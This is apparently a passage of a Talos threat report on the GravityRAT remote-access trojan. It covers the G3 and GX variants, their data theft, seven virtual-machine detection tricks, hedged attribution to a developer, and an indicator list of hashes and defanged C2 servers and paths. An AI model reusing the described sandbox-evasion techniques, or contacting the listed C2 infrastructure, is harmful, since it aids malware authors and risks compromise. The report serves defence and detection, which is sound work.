The analysed sample contained a decoy picture document in the resource section:

 

Version G3

In August 2017, the author of GravityRAT used a new variant of its malware, G3. Here is the PDB:

F:\Projects\g3\G3 Version 4.0\G3\G3\obj\Release\Intel Core.pdb

This variant uses the same method as G2, and includes a legitimate library in the resource section. The developers also added additional language support to the library:

  • German
  • Spanish
  • French
  • Italian
  • Chinese

The author changed the backend of the C2 server with this variant. The URI changed too, it contains the GravityRAT variant name:

August was also the same month the Indian CERT notified potential victims that GravityRAT had been used in a targeted campaign. Given the ongoing development nature of this malware, it meant another variant was most likely due.

Version GX

The latest version of GravityRAT was created in December 2017 named GX. Here is the PDB:

C:\Users\The Invincible\Desktop\gx\gx-current-program\LSASS\obj\Release\LSASS.pdb

This version is the most advanced variant of GravityRAT. Throughout the evolution, we saw this malware embedding open-source legitimate .NET libraries (for schedule tasks, compression, encryption, .NET loading). It contains a resource named “important.” This is an archive with a password.

This variant has the same features as before, but this time, some new features are added:

  • It collects open ports on the victim host by running the netstat command
  • It lists all the running processes
  • It lists available services on the system
  • It exfiltrates .ppt and .pptx file, in addition to the extension mentioned in the G1 variant
  • If a USB key is connected on the system, the malware steals the file based on an extension list
  • It supports file encryption (AES with the key “lolomycin2017”)
  • It collects information on the account (account type, description, domain name, full name, SID and status)
  • It checks if the system is a virtual machine with several techniques

The developer implemented a total of seven techniques to identify if the compromised system is a virtual machine.

The first technique consists of looking at any additional tools used by the hypervisor that are installed on the system (by checking a registry key):

The second technique uses a WMI request to the BIOS version (Win32_BIOS entry). If the response contains: “VMware”, “Virtual”, “XEN”, “Xen” or “A M I” the system is considered as a virtual machine. Additionally, the malware checks the SerialNumber and the version of the BIOS.

The third technique uses the Win32_Computer entry in WMI. It checks if the manufacturer contains “VIRTUAL”, “VMWARE” or “VirtualBox”.

The fourth technique checks the Processor ID of the system.

The fifth technique counts the number of cores in the infected system (the author expects more than one core)

The sixth technique checks the current CPU temperature of the system (the MSAcpi_ThermalZoneTemperature entry). Indeed, some hypervisors (VMWare, VirtualBox and Hyper-V) do not support temperature check. The WMI request simply replies “not supported”. This behaviour can be used to detect if the targeted system is a real machine.

The last technique uses the MAC Address of the infected system. If the MAC Address starts by a well-known hexadecimal number, the system is identified as a virtual machine.

The C2 servers communication is performed in HTTP as it did previously. The variant version of GX is used in the URI. The C2 servers we can see are shared with the previous variants:

WHAT WE KNOW ABOUT THE AUTHOR

Below, we will present evidence that we have obtained regarding the attacker and the associated malware. Obviously, attribution is a complex field. The developers could be using a proxy or a VPN in order to fake the origin of the submission. But, we will still simply present some facts concerning this actor.

The developer used at least two different usernames in the past two years: “The Invincible” and “TheMartian.” In the oldest version of GravityRAT, the attacker potentially leaked his or her first name in the PDB: “Adeel” — the path contained “Adeel’s Laptop”. Additionally, all the malicious Office documents, and more specifically the documents used to test anti-virus on VirusTotal, were submitted from Pakistan. One of the four PE files in the IOCs section was sent from Pakistan, too.

In August 2017, the Indian National CERT published an advisory about malicious targeted campaigns. This advisory mentions the C2 server infrastructure of GravityRAT, which means the GravityRAT author likely targeted Indian entities/organisations. By leveraging Cisco Umbrella and using the Investigate tool, we were able to determine that across all of the C2 domains listed, we saw a large influx of traffic originating from India, as evidenced by the National CERT, all of the C2 domains were at least 50 percent requested by Indian IP infrastructure. It is possible that some of the non-Indian IP space requests may artefacts be due to our own research.

CONCLUSION

This actor is probably not the most advanced actor we’ve seen. But he or she managed to stay under the radar since 2016. They worked on malicious code, and produced four variants. Each new variant included new features. The developer used the same C2 infrastructure all this time. The developer was clever enough to keep this infrastructure safe, and not have it blacklisted by a security vendor. The actor took their time to ensure they were not within a virtual environment to avoid analysis. However, they did not take any time at all to attempt to obfuscate their .NET code. The code was largely trivial to reverse engineer, which meant static analysis was an easy option for this piece of malware.

The Indian CERT published an advisory about this actor, which suggest they targeted Indian entities and organizations.

The author leaked information within the samples (i.e. Adeel) and on the VirusTotal platform. Thanks to this information, we we able to understand how they tested malicious documents in order to decrease detection ratios across many popular engines. During this testing period, all the samples were uploaded from Pakistan to VirusTotal.

COVERAGE

Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as NGFW, NGIPS, andMeraki MX can detect malicious activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

IOCS

 

Malicious Documents

 

MACROS

0beb2eb1214d4fd78e1e92db579e24d12e875be553002a778fb38a225cadb703
70dc2a4d9da2b3338dd0fbd0719e8dc39bc9d8e3e959000b8c8bb04c931aff82
835e759735438cd3ad8f4c6dd8b035a3a07d6ce5ce48aedff1bcad962def1aa4
C14f859eed0f4540ab41362d963388518a232deef8ecc63eb072d5477e151719
ed0eadd8e8e82e7d3829d71ab0926c409a23bf2e7a4ff6ea5b533c5defba4f2a
f4806c5e4449a6f0fe5e93321561811e520f738cfe8d1cf198ef12672ff06136

OTHER MALICIOUS DOCUMENTS (DDE)

911269e72cd6ed4835040483c4860294d26bfb3b351df718afd367267cd9024f
fb7aa28a9d8fcfcabacd7f390cee5a5ed67734602f6dfa599bff63466694d210
ef4769606adcd4f623eea29561596e5c0c628cb3932b30428c38cfe852aa8301
cd140cf5a9030177316a15bef19745b0bebb4eb453ddb4038b5f15dacfaeb3a2
07682c1626c80fa1bb33d7368f6539edf8867faeea4b94fedf2afd4565b91105

GravityRAT

G1

9f30163c0fe99825022649c5a066a4c972b76210368531d0cfa4c1736c32fb3a

G2

1993f8d2606c83e22a262ac93cc9f69f972c04460831115b57b3f6244ac128bc

G3

99dd67915566c0951b78d323bb066eb5b130cc7ebd6355ec0338469876503f90

GX

1c0ea462f0bbd7acfdf4c6daf3cb8ce09e1375b766fbd3ff89f40c0aa3f4fc96

C2 Servers

hxxp://cone[.]msoftupdates.com:46769
hxxp://ctwo[.]msoftupdates.com:46769
hxxp://cthree[.]msoftupdates.com:46769
hxxp://eone[.]msoftupdates.eu:46769
hxxp://etwo[.]msoftupdates.eu:46769
hxxp://msupdates[.]mylogisoft.com:46769
hxxp://coreupdate[.]msoftupdates.com:46769
hxxp://updateserver[.]msoftupdates.eu:46769

msoftupdates[.]com
msoftupdates[.]eu
mylogisoft[.]com

URI:
/Gvty@/1ns3rt_39291384.php
/Gvty@/newIns3rt.php
/Gvty@/payloads
/Gvty@/ip.php
/G3/ServerSide/G3.php
/G3/Payload/
/GX/GX-Server.php
/GetActiveDomains.php

Go to Source
Author: Talos Group